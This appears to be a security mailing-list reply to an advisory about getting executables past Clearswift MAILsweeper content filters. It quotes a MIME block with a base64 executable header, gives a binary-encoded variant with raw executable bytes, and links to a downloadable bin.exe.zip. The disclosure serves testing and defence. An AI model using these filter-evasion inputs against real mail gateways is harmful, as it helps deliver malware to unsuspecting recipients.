Re: Corsaire Security Advisory - Clearswift MAILsweeper MIME attachme nt evasion issue

<!–

Step 2: Now create a text file that will be used to hold the MIME
encoded attachment. Start notepad (or another text editor), and
paste
in:

 MIME-Version: 1.0 
 Content-Location:file:///executable.exe 
 Content-Transfer-Encoding: base64 


 TVp0AQIAAAAgAAgA//8YAIAAAAAQAAIAHgAAAAEAAAAAA 
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

–>

That's a very interesting situation with content filters and anti-
virus filters. How many others are affected one must wonder.

Try the following as well, nothing more than pure binary:

http://www.malware.com/bin.exe.zip

MIME-Version: 1.0
Content-Location:File://foo.exe
Content-Transfer-Encoding: binary

MZD
  ! яяu  ™ >
ы0jr y
ћ

Lot more where that came from.

End Call

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http://www.malware.com